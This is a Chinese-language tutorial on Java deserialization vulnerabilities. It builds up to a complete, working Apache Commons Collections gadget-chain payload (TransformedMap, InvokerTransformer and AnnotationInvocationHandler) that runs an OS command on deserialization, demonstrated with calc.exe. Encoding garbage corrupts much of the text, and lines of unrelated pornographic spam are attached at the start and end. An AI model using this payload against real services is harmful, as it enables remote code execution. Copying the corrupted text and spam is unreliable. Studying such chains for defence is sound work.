国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

Java中怎么實(shí)現反序列化漏洞

發(fā)布時(shí)間:2021-09-14 11:25 來(lái)源:億速云 閱讀:0 作者:Leah 欄目: 網(wǎng)絡(luò )安全

本篇文章為大家展示了Java中怎么實(shí)現反序列化漏洞,內容簡(jiǎn)明扼要并且容易理解,絕對能使你眼前一亮,通過(guò)這篇文章的詳細介紹希望你能有所收獲。

1)Java執行程序

在Java中,可以通過(guò)java.lang.Runtime類(lèi)方便的調用操作系統命令,或者一個(gè)可執行程序。

public class RuntimeTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc.exe");
    }
}

如上代碼,可以打開(kāi)windows系統的計算器。

2)java反射機制

反射機制允許程序在運行期借助于Reflection API取得任何類(lèi)的內部信息,并能直接操作任意類(lèi)和對象的所有屬性及方法。

要使用一個(gè)類(lèi),就要先把它加載到虛擬機中,在加載完類(lèi)之后,堆內存的方法區中就產(chǎn)生了一個(gè)Class類(lèi)型的對象(一個(gè)類(lèi)只有一個(gè)class對象),這個(gè)對象就包含了完整的類(lèi)的結構信息,我們可以通過(guò)這個(gè)對象看到類(lèi)的結構,這個(gè)對象就像一面鏡子,透過(guò)鏡子可以看到類(lèi)的結構,所以形象的稱(chēng)之為:反射。

反射中會(huì )經(jīng)常使用到的方法:

1、獲取Class實(shí)例的方式
   方式1:調用運行時(shí)類(lèi)的屬性 .class
   方式2:通過(guò)運行時(shí)的對象調用getClass()
   方式3:調用Class的靜態(tài)方法:forName(String classPath)
   方式4:使用類(lèi)的加載器  classloader
2、創(chuàng  )建運行時(shí)類(lèi)的對象
   newInstance()  調用此方法,創(chuàng  )建對應的運行時(shí)類(lèi)的對象
3、獲取運行時(shí)類(lèi)的結構
   getFields()  獲取當前運行時(shí)類(lèi)及其父類(lèi)中聲明為public訪(fǎng)問(wèn)權限的屬性
   getDeclaredFields()  獲取當前運行時(shí)類(lèi)中聲明的所有屬性,不包含父類(lèi)
   getMethods() 獲取當前運行時(shí)類(lèi)及其所有父類(lèi)聲明為public的方法
   getDeclaredMethods()  獲取當前運行時(shí)類(lèi)中聲明的方法,不包含父類(lèi)
   getConstructors() 獲取當前運行時(shí)類(lèi)聲明為public的構造器
   getDeclaredConstructors()  獲取當前運行時(shí)類(lèi)中聲明的所有構造器
   invoke()方法允許調用包裝在當前Method對象中的方法

反射示例:

如下代碼中,Object i = m1.invoke(r1, 1, 2)的作用是:使用r1調用m1獲得的對象所聲明的公開(kāi)方法即print,并將int類(lèi)型的1,2作為參數傳入。

import java.lang.reflect.Method;
public class test {
    public static void main(String[] args) {
        Reflect r1=new Reflect();
        //通過(guò)運行時(shí)的對象調用getClass();
        Class c=r1.getClass();
        try {
            //getMethod(方法名,參數類(lèi)型)
            //getMethod第一個(gè)參數是方法名,第二個(gè)參數是該方法的參數類(lèi)型
            //因為存在同方法名不同參數這種情況,所以只有同時(shí)指定方法名和參數類(lèi)型才能唯一確定一個(gè)方法
            Method m1 = c.getMethod("print", int.class, int.class);

            //相當于r1.print(1, 2);方法的反射操作是用m1對象來(lái)進(jìn)行方法調用 和r1.print調用的效果完全相同
            //使用r1調用m1獲得的對象所聲明的公開(kāi)方法即print,并將int類(lèi)型的1,2作為參數傳入
            Object i = m1.invoke(r1, 1, 2);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
class Reflect{
    public void print(int a,int b){
        System.out.println(a+b);
    }
}

使用反射機制執行命令

此處invoke(runtime,"calc.exe")的作用為:使用runtime調用獲得的Method對象所聲明的公開(kāi)方法即exec,并將calc.exe作為參數傳入,而runtime為獲取的Runtime.getRuntime實(shí)例對象。因此,此處代碼相當于執行了Runtime.getRuntime( ).exec("calc.exe")。

熟悉這塊的操作,后面會(huì )以此完成攻擊鏈:

public class RuntimeTest {
    public static void main(String[] args) throws Exception {
        //forName(類(lèi)名)  獲取類(lèi)名對應的Class對象,同時(shí)將Class對象加載進(jìn)來(lái)。
        //getMethod(方法名,參數類(lèi)型列表)  根據方法名稱(chēng)和相關(guān)參數,來(lái)定位需要查找的Method對象并返回。
        //invoke(Object obj,Object...args)  invoke允許調用包裝在當前Method對象中的方法

        Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);    //獲取一個(gè)Runtime的實(shí)例對象

        //調用Runtime實(shí)例對象的exec()方法,并將calc.exe作為參數傳入
        Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"calc.exe");
    }
}

如上,通過(guò)Java反射機制打開(kāi)windows的計算器。

Java中為什么要使用反射機制,直接創(chuàng )建對象不是更方便?
如果有多個(gè)類(lèi),每個(gè)用戶(hù)所需求的對象不同,直接創(chuàng )建對象,就要不斷的去new一個(gè)對象,非常不靈活。而java反射機制,在運行時(shí)確定類(lèi)型,綁定對象,動(dòng)態(tài)編譯最大限度發(fā)揮了java的靈活性。

3)Java序列化和反序列化

Java序列化是指把Java對象轉換為字節序列的過(guò)程,便于保存在內存、文件、數據中。
即:對象—>字節流 (序列化)

Java反序列化即序列化的逆過(guò)程,由字節流還原成對象。
即:字節流—>對象(反序列化)
序列化的好處在于可將任何實(shí)現了Serializable接口的對象轉換為字節數據,使其保存和傳輸時(shí)可被還原。

反序列化的操作函數:

java.io.ObjectOutputStream類(lèi)中的writeObject( )方法可以實(shí)現Java序列化。
java.io.ObjectInputStream類(lèi)中的readObject( )方法可以實(shí)現Java反序列化。

想一個(gè)Java對象是可序列化的,需要滿(mǎn)足相應的要求:

1、實(shí)現Serializable接口或Externalizable接口
2、當前類(lèi)提供一個(gè)全局常量 serialVersionUID
3、必須保證其內部所有屬性也必須是可序列化的(默認情況下,基本數據類(lèi)型可序列化)
4、ObjectInputStream和ObjectOutputStream不能序列化static和transient修飾的成員變量

Java反序列化示例:

import java.io.*;
public class Serialize {
    public static void main(String[] args) throws Exception {
        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hello.txt"));
        oos.writeObject(new String("序列化"));
        oos.close();

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hello.txt"));
        Object o = ois.readObject();
        String s = (String) o;
        ois.close();
        System.out.println(s);

    }
}

反序列化漏洞成因:

序列化指把Java對象轉換為字節序列的過(guò)程,反序列化就是打開(kāi)字節流并重構對象,那如果即將被反序列化的數據是特殊構造的,就可以產(chǎn)生非預期的對象,從而導致任意代碼執行。

Java中間件通常通過(guò)網(wǎng)絡(luò )接收客戶(hù)端發(fā)送的序列化數據,而在服務(wù)端對序列化數據進(jìn)行反序列化時(shí),會(huì )調用被序列化對象的readObject( )方法。而在Java中如果重寫(xiě)了某個(gè)類(lèi)的方法,就會(huì )優(yōu)先調用經(jīng)過(guò)修改后的方法。如果某個(gè)對象重寫(xiě)了readObject( )方法,且在方法中能夠執行任意代碼,那服務(wù)端在進(jìn)行反序列時(shí),也會(huì )執行相應代碼。

如果能夠找到滿(mǎn)足上述條件的對象進(jìn)行序列化并發(fā)送給Java中間件,Java中間件也會(huì )去執行指定的代碼,即存在反序列化漏洞。

4)Java集合框架

Java集合框架是對多個(gè)數據進(jìn)行存儲操作的結構,其主要分為Collection和Map兩種體系:

Collection接口:?jiǎn)卫龜祿?,定義了存取一組對象的方法的集合
Map接口:雙列數據,保存具有映射關(guān)系“Key-value”的集合

Apache Commons Collections:一個(gè)擴展了Java標準庫里集合框架的第三方基礎庫。它包含有很多jar工具包如下圖所示,它提供了很多強有力的數據結構類(lèi)型并且實(shí)現了各種集合工具類(lèi)。

0x03 Apache Commons Collections反序列化漏洞

Apache Commons Collections反序列化漏洞的主要問(wèn)題在于Transformer這個(gè)接口類(lèi),Transformer類(lèi)可以滿(mǎn)足固定的類(lèi)型轉化需求,其轉化函數可以自定義實(shí)現,漏洞點(diǎn)就在這里。

目前已知實(shí)現了Transformer接口的類(lèi),如下所示。而在A(yíng)pache Commons Collections反序列漏洞中,會(huì )使用到ChainedTransformer、ConstantTransformer、InvokerTransformer這三個(gè)類(lèi),這些類(lèi)的具體作用我們在下面結合POC來(lái)看。在遠程調用前,我們先看本地的POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class ApacheSerialize1 {
    public static void main(String[] args) throws Exception {
        //1、創(chuàng  )建Transformer型數組,構建漏洞核心利用代碼
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //2、將transformers數組存入ChaniedTransformer類(lèi)
        Transformer transformerChain = new ChainedTransformer(transformers);

        //3、創(chuàng  )建Map,給予map數據轉化鏈
        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        //給予map數據轉化鏈,該方法有三個(gè)參數:
        // 第一個(gè)參數為待轉化的Map對象
        // 第二個(gè)參數為Map對象內的key要經(jīng)過(guò)的轉化方法(可為單個(gè)方法,也可為鏈,也可為空)
        // 第三個(gè)參數為Map對象內的value要經(jīng)過(guò)的轉化方法(可為單個(gè)方法,也可為鏈,也可為空)
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //4、觸發(fā)漏洞利用鏈,利用漏洞
        onlyElement.setValue("test");
    }
}

該POC從上至下大致分為四點(diǎn),我們以此四點(diǎn)為基礎進(jìn)行分析:

1、創(chuàng )建transformers數組,構建漏洞核心利用代碼。

2、將transformers數組存入ChaniedTransformer類(lèi)。

3、創(chuàng )建Map,給予map數據轉化鏈

4、觸發(fā)漏洞利用鏈,利用漏洞

1)創(chuàng )建transformers數組,構建漏洞核心利用代碼

此處創(chuàng )建了一個(gè)Transformer類(lèi)型的數組,其中創(chuàng )建了四個(gè)對象。這四個(gè)對象分別使用了ConstantTransforme和InvokerTransformer兩個(gè)類(lèi)。
ConstantTransformer:把一個(gè)對象轉化為常量,并返回。
InvokerTransformer:通過(guò)反射,返回一個(gè)對象。

代碼如下:

此處,先不研究里面的具體參數有何作用,只需明確此處創(chuàng )建了一個(gè)Transformer類(lèi)型的數組,其中創(chuàng )建了四個(gè)對象,我們接著(zhù)往下看。

2)將transformers數組存入ChaniedTransformer類(lèi)

此處創(chuàng )建了一個(gè)ChainedTransformer對象,并將transformers數組作為參數傳入。

ChainedTransformer類(lèi):把一些transformer鏈接到一起,構成一組鏈條,對一個(gè)對象依次通過(guò)鏈條內的每一個(gè)transformer進(jìn)行轉換。

繼續往下看。

3)創(chuàng )建Map,給予map數據轉化鏈

此處代碼較多,我們拆開(kāi)看。

先是創(chuàng )建Map類(lèi),添加了一組數據("key", "value")。前文有提到,Map是具有映射關(guān)系 Key-value的集合,一個(gè)鍵值對:kay-value構成了一個(gè)Entry對象。

接著(zhù)是給予map實(shí)現類(lèi)的數據轉化鏈。而在A(yíng)pache Commons Collections中實(shí)現了TransformedMap類(lèi),該類(lèi)可以在一個(gè)元素被添加/刪除/或是被修改時(shí),會(huì )調用transform方法自動(dòng)進(jìn)行特定的修飾變換,具體的變換邏輯由Transformer類(lèi)定義。即就是當數據發(fā)生改變時(shí),可以進(jìn)行一些提前設定好的操作。

也就是說(shuō),此處的代碼是給予Map數據轉化鏈,當Map里的數據發(fā)生改變時(shí),會(huì )進(jìn)行轉換鏈設定好的操作,如下有三個(gè)參數:

此處TransformedMap調用了decorate( )方法,創(chuàng )建了TransformedMap對象。參數1 ,innerMap作為參數調用了父類(lèi)AbstractInputCheckedMapDecorator的構造函數,保存為this.map變量。參數2為null。參數3,transformerChain被初始化為this.valueTransformer變量。

TransformedMap類(lèi)相關(guān)代碼如下:

然后獲取outerMap的第一個(gè)鍵值對(key,value),然后轉化成Map.Entry形式,前文也提到一個(gè)kay-value構成一個(gè)Entry對象。

最后利用Map.Entry取得第一個(gè)值,調用修改值的函數,觸發(fā)下面的setValue( )代碼。

4)觸發(fā)漏洞利用鏈,利用漏洞

接著(zhù)上面分析,繼續跟進(jìn)setValue( )函數,會(huì )進(jìn)入到AbstractInputCheckedMapDecorator類(lèi)。此時(shí)setValue( )方法會(huì )檢查要被修改的元素,進(jìn)入到TransformedMap的轉換鏈。

跟進(jìn)setValue()里的this.parent.checkSetValue(value),跳到TransoformedMap類(lèi),this.parent為T(mén)ransformedMap類(lèi)的對象outerMap。

AbstractInputCheckedMapDecorator類(lèi)相關(guān)代碼如下:

跳到TransoformedMap類(lèi)。

此時(shí)的this.valueTransformer就是transformerChain,之后就會(huì )觸發(fā)漏洞利用鏈。而transformerChain就是在上面POC第二點(diǎn)代碼生成的ChainedTransformer對象,其中傳入了transformers數組,transformers數組為POC第一點(diǎn)構造的漏洞利用核心代碼。

TransoformedMap類(lèi)相關(guān)代碼如下:

由于valueTransformer為transformerChain,因此上面代碼中的this.valueTransformer.transform(value)會(huì )調用ChainedTransformer類(lèi)的transform方法。

此時(shí)我們構造好的含有利用代碼的transformers數組會(huì )循環(huán)進(jìn)入此處,先調用1次ConstantTransformer類(lèi),再調用3次InvokerTransformer類(lèi)。

需要注意在數組的循環(huán)中,前一次transform函數的返回值,會(huì )作為下一次transform函數的object參數輸入。

ChainedTransformer類(lèi)相關(guān)代碼如下:

第一次循環(huán):

首先是去調用ConstantTransformer類(lèi)的transform方法,將Runtime.class保存為this.iConstant變量,并將返回值作為下一次transform函數的object參數輸入。

ConstantTransformer類(lèi)相關(guān)代碼如下:

第二次循環(huán):

調用InvokerTransformer類(lèi)的transform( )方法,此時(shí)transform的object參數,即java.lang.Runtime。

先看InvokerTransformer的構造函數:

第一個(gè)是字符串,是調用的方法名

第二個(gè)是個(gè)Class數組,是方法的參數的類(lèi)型

第三個(gè)是Object數組,是方法的參數的具體值

進(jìn)入到InvokerTransformer類(lèi)的transform方法,非常明顯的反射機制。此處,input為transform的object參數為java.Lang.Runtime。

此處就相當于:

method = input.getClass().getMethod("getMethod",  new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});

即java.Lang.Runtime.getMethod("getRuntime",null),返回一個(gè)Runtime.getRuntime( )方法,相當于產(chǎn)生一個(gè)字符串,但還沒(méi)有執行"Rumtime.getRuntime( );"。

第三次循環(huán)

同樣進(jìn)入到InvokerTransformer類(lèi)的transform( )方法,input為上次循環(huán)的返回值Runtime.getRuntime( )。

此時(shí)就相當于:

method = input.getClass().getMethod("invoke",  new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()",  new Object[] {null, new Object[0]});

Runtime.getRuntime( ).invoke(null),那么會(huì )返回一個(gè)Runtime對象實(shí)例。相當于執行了完成了:

Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);

第四次循環(huán)

同樣進(jìn)入到InvokerTransformer類(lèi)的transform方法,input為上次循環(huán)的返回值Runtime.getRuntime( ).invoke(null)。

此時(shí)就相當于:

method = input.getClass().getMethod("exec",  new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});

即Runtime.getRuntime( ).exec("calc.exe")。至此成功完成漏洞利用鏈,執行系統命令語(yǔ)句,觸發(fā)漏洞。

最后整理整個(gè)過(guò)程:

1、transform數組里面含有4個(gè)實(shí)現了Transformer接口的對象,這四個(gè)對象都重寫(xiě)了transform()方法

2、ChianedTransformer里面裝了4個(gè)transform,ChianedTransformer也實(shí)現了Transformer接口,同樣重寫(xiě)了transform()方法

3、TransoformedMap綁定了ChiandTransformer,給予map數據轉化鏈,當map里的數據進(jìn)行修改時(shí),需經(jīng)過(guò)ChiandTransformer轉換鏈

4、利用TransoformedMap的setValue修改map數據,觸發(fā)ChiandTransformer的transform()方法

5、ChianedTransformer的transform是一個(gè)循環(huán)調用該類(lèi)里面的transformer的transform方法

loop 1:第一次循環(huán)調用ConstantTransformer("java.Runtime")對象的transformer方法,調用參數為"test"(正常要修改的值),返回了java.Runtime作為下一次循環(huán)的object參數

loop 2:第二次循環(huán)調用InvokerTransformer對象的transformer,參數為("java.Runtime"),包裝Method對象"getMethod"方法,invoke方法獲得對象所聲明方法"getRuntime",利用反射,返回一個(gè)Rumtime.getRuntime()方法

loop 3:第三次循環(huán)調用InvokerTransformer對象的transformer,參數為("Rumtime.getRuntime()"),包裝Method對象"invoke"方法,利用反射,返回一個(gè)Rumtime.getRuntime()實(shí)例

loop 4:第四次循環(huán)調用InvokerTransformer對象的transformer,參數為一個(gè)Runtime的對象實(shí)例,包裝Method對象"exec"方法,invoke方法獲得對象所聲明方法"calc.exe",利用反射,執行彈出計算器操作

0x04 最終Payload

目前的POC只是被執行了,我們要利用此漏洞,就需要通過(guò)網(wǎng)絡(luò )傳輸payload,在服務(wù)端對我們傳過(guò)去的payload進(jìn)行反序列時(shí)執行代碼。而且該POC的關(guān)鍵依賴(lài)于Map中某一項去調用setValue( ) ,而這完全不可控。

因此就需要尋找一個(gè)可序列化類(lèi),該類(lèi)重寫(xiě)了readObject( )方法,并且在readObject( )中進(jìn)行了setValue( ) 操作,且這個(gè)Map變量是可控的。需要注意的時(shí),在java中如果重寫(xiě)了某個(gè)類(lèi)的方法,就會(huì )優(yōu)先調用經(jīng)過(guò)修改后的方法。

在java中,確實(shí)存在一個(gè)類(lèi)AnnotationInvocationHandler,該類(lèi)重寫(xiě)了readObject( )方法,并且執行了setValue( )操作,且Map變量可控,如果可以將TransformedMap裝入這個(gè)AnnotationInvocationHandler類(lèi),再傳過(guò)去,服務(wù)端在對其進(jìn)行反序列化操作時(shí),就會(huì )觸發(fā)漏洞。最后利用的payload如下:

package Serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class ApacheSerialize implements Serializable {
    public static void main(String[] args) throws Exception{
        //transformers: 一個(gè)transformer鏈,包含各類(lèi)transformer對象(預設轉化邏輯)的轉化數組
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //transformedChain: ChainedTransformer類(lèi)對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作
        Transformer transformerChain = new ChainedTransformer(transformers);

        //Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類(lèi)比于python的dict
        Map map = new HashMap();
        map.put("value", "test");

        //Map數據結構,轉換后的Map
        /*
        TransformedMap.decorate方法,預期是對Map類(lèi)的數據結構進(jìn)行轉化,該方法有三個(gè)參數。
            第一個(gè)參數為待轉化的Map對象
            第二個(gè)參數為Map對象內的key要經(jīng)過(guò)的轉化方法(可為單個(gè)方法,也可為鏈,也可為空)
            第三個(gè)參數為Map對象內的value要經(jīng)過(guò)的轉化方法。
       */
        //TransformedMap.decorate(目標Map, key的轉化對象(單個(gè)或者鏈或者null), value的轉化對象(單個(gè)或者鏈或者null));
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        //反射機制調用AnnotationInvocationHandler類(lèi)的構造函數
        //forName 獲得類(lèi)名對應的Class對象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通過(guò)反射調用私有的的結構:私有方法、屬性、構造器
        //指定構造器
        
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消構造函數修飾符限制,保證構造器可訪(fǎng)問(wèn)
        ctor.setAccessible(true);

        //獲取AnnotationInvocationHandler類(lèi)實(shí)例
        //調用此構造器運行時(shí)類(lèi)的對象
        Object instance=ctor.newInstance(Target.class, transformedMap);

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

可以觸發(fā)。

我們來(lái)研究最終payload新加的部分:

新加部分代碼的前四部分不是很難理解。使用反射去調用AnnotationInvocationHandler類(lèi),并且指定了具體參數類(lèi)型為(Class.class, Map.class)的構造器。之后再使用newInstance調用指定構造器運行時(shí)類(lèi)的對象,并將(Target.class, transformedMap)作為參數傳入。

查看AnnotationInvocationHandler類(lèi),反射調用的構造器如下:

其中var1為T(mén)arget.class,var2為transformedMap,var1.getInterfaces( )為獲取當前類(lèi)顯式實(shí)現的接口,即獲取Target類(lèi)顯式實(shí)現的接口。

Target類(lèi)使用了@interface自定義注解,而@interface自定義注解自動(dòng)繼承了java.lang.annotation.Annotation這一個(gè)接口,由編譯程序自動(dòng)完成其他細節。因此符合if語(yǔ)句判斷,生成AnnotationInvocationHandler類(lèi)實(shí)例。

Target類(lèi)代碼如下:

進(jìn)入payload序列化和反序列部分,主要是看反序列化的readObject( )部分,打開(kāi)字節流并重構對象,此時(shí)的對象即AnnotationInvocationHandler類(lèi)實(shí)例。

前文提到在java中如果重寫(xiě)了某個(gè)類(lèi)的方法,就會(huì )優(yōu)先調用經(jīng)過(guò)修改后的方法,而AnnotationInvocationHandler類(lèi)重寫(xiě)了readObject( )方法,因此反序列化時(shí)會(huì )優(yōu)先調用該類(lèi)中的readObject( )方法。

跟進(jìn)AnnotationInvocationHandler類(lèi)的readObject( )方法,此時(shí)的var1為實(shí)例化的AnnotationInvocationHandler類(lèi)對象,之后會(huì )觸發(fā)setValue( )造成命令執行。

AnnotationInvocationHandler類(lèi)相關(guān)代碼如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    ....................
        AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            //this.type為T(mén)arget.class
            this.type = var1;
            //this.memberValues為transformedMap
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

    .......................
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //1、defaultReadObject(),從var1讀取當前類(lèi)的非靜態(tài)和非瞬態(tài)字段
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            //this.type為實(shí)例化時(shí)傳入的Target.class
            //2、getInstance獲取到@Target類(lèi)的方法等基本信息。
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        //3、獲取到Target類(lèi)的注解元素 即{value:ElementType}鍵值對
        Map var3 = var2.memberTypes();
        //4、this.memberValues為實(shí)例化時(shí)傳入的transformedMap,獲取構造map的迭代器
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            //獲取到map的第一個(gè)鍵值對 {value:test}
            Entry var5 = (Entry)var4.next();
            //獲取到map第一個(gè)鍵值對 {value:test}的key  即value
            String var6 = (String)var5.getKey();
            //從@Target的注解元素 {value:ElementType}鍵值對中去尋找鍵名為value的值
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                //獲取到map第一個(gè)鍵值對 {value:test}的value 即test
                Object var8 = var5.getValue();
                //isInstance表示var8是否能強轉為var7  instanceof表示var8是否為ExceptionProxy類(lèi)型
                //兩個(gè)都為否,進(jìn)入到if條件語(yǔ)句內部
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //觸發(fā)setValue
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

                }
            }
        }
    }
}

至此,完成漏洞利用。

0x05 一個(gè)小問(wèn)題

在測試的時(shí)候,未使用AnnotationInvocationHandler類(lèi)時(shí),map可以put時(shí)key可以隨意設置,如上文POC中的map.put("key", "value")。

但在調用AnnotationInvocationHandler類(lèi)時(shí)就必須設置為value。

主要原因如下:

需要注意的是在A(yíng)nnotationInvocationHandler類(lèi)相關(guān)代碼的var2 = AnnotationType.getInstance(this.type)部分,this.type為實(shí)例化時(shí)傳入的Target.class。

跟進(jìn),進(jìn)入到AnnotationType類(lèi)的getInstance( )方法,其中var2為var1返回該元素Target類(lèi)型的注釋?zhuān)鴙ar1中沒(méi)有此注釋?zhuān)祷豱ull,進(jìn)入到判斷語(yǔ)句,此時(shí)會(huì )實(shí)例化一個(gè)AnnotationType對象,并將var0作為參數傳入。

繼續跟進(jìn)AnnotationType類(lèi)的AnnotationType( ),其中var1為T(mén)arget.class,此時(shí)獲取的Target類(lèi)的全部方法等基本信息,其中this.memberTypes為獲取到的Target類(lèi)的全部方法,而Target.class只定義了一個(gè)名為value的方法(快捷方式,限制了元素名必須為value)。

public class AnnotationType {
    ...................
    private AnnotationType(final Class<? extends Annotation> var1) {
        if (!var1.isAnnotation()) {
            throw new IllegalArgumentException("Not an annotation type");
        } else {
            //獲取到Target.class的全部方法
            Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    return var1.getDeclaredMethods();
                }
            });
            //底層創(chuàng  )建了長(cháng)度是var2長(cháng)度加1的一維數組,加載因子為1.0(擴容時(shí)才會(huì )用到)
            this.memberTypes = new HashMap(var2.length + 1, 1.0F);
            this.memberDefaults = new HashMap(0);
            this.members = new HashMap(var2.length + 1, 1.0F);
            Method[] var3 = var2;
            int var4 = var2.length;

            //遍歷var2,即獲取到的Target.class的全部方法
            for(int var5 = 0; var5 < var4; ++var5) {
                Method var6 = var3[var5];
                if (var6.getParameterTypes().length != 0) {
                    throw new IllegalArgumentException(var6 + " has params");
                }
                //獲取方法的名稱(chēng)
                String var7 = var6.getName();
                //獲取方法的返回值類(lèi)型
                Class var8 = var6.getReturnType();

                //將方法的名稱(chēng)和返回值類(lèi)型以鍵值對的形式傳入
                //Target.class只有一個(gè)方法{value:ElementType}
                this.memberTypes.put(var7, invocationHandlerReturnType(var8));
                
                this.members.put(var7, var6);
                Object var9 = var6.getDefaultValue();
                if (var9 != null) {
                    this.memberDefaults.put(var7, var9);
                }
            }

            if (var1 != Retention.class && var1 != Inherited.class) {
                JavaLangAccess var10 = SharedSecrets.getJavaLangAccess();
                Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class[]{Retention.class, Inherited.class});
                Retention var12 = (Retention)var11.get(Retention.class);
                this.retention = var12 == null ? RetentionPolicy.CLASS : var12.value();
                this.inherited = var11.containsKey(Inherited.class);
            } else {
                this.retention = RetentionPolicy.RUNTIME;
                this.inherited = false;
            }

        }
    }
    .......................

    public Map<String, Class<?>> memberTypes() {
        return this.memberTypes;
    }
    .......................

}

根據上面代碼追蹤到,this.memberTypes為獲取到的Target.class的全部方法,可以看到主要在String var6 = (String)var5.getKey( )為獲取到map第一個(gè)鍵值對{value:test}的key即value,var7會(huì )從獲取到Target的全部方法{value:ElementType}鍵值對中去尋找鍵名為var6的值,如果獲取不到就不會(huì )進(jìn)入到setValue( )方法,因此必須設置map的key為value。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
       ....................        
        //3、獲取到Target類(lèi)的注解元素 即{value:ElementType}鍵值對
        Map var3 = var2.memberTypes();
        //4、獲取構造map的迭代器
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            //獲取到map的第一個(gè)鍵值對 {value:test}
            Entry var5 = (Entry)var4.next();
            //獲取到map第一個(gè)鍵值對 {value:test}的key  即value
            String var6 = (String)var5.getKey();
            //從獲取到Target的全部方法 {value:ElementType}鍵值對中去尋找鍵名為value的值
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                //獲取到map第一個(gè)鍵值對 {value:test}的value 即test
                Object var8 = var5.getValue();
                //isInstance表示var8是否能強轉為var7  instanceof表示var8是否為ExceptionProxy類(lèi)型
                //兩個(gè)都為否,進(jìn)入到if條件語(yǔ)句內部
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //觸發(fā)setValue
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

                }
            }
       ....................        
}

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

爆乳邻居肉欲中文字幕| 日本日本乱码伦视频免费| 国产AV一区二区三区| 波多野结衣乳巨码无在线观看| 最新中文字幕AV无码不卡| 日日av拍夜夜添久久免费|